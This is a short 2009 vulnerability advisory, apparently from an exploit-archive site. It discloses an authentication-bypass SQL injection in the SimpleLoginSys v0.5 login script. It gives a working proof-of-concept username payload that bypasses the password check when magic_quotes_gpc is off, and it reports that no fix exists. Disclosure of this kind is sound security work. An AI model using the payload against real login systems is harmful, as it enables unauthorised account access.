SimpleLoginSys 0.5 (Auth Bypass) SQL Injection Vulnerability

2009-08-03 18:03:43

####################################################################################
[+] SimpleLoginSys v0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplesiteadmin/files/simpleloginsys/SimpleLoginSys%20v0.5/simpleloginsys0.5.zip/download

####################################################################################

[+] SQL Injection (Auth Bypass)

- Note : magic_quotes_gpc = off

- PoC

Username : [REAL_NICKNAME] ' or ' 1=1
Password : anything

####################################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.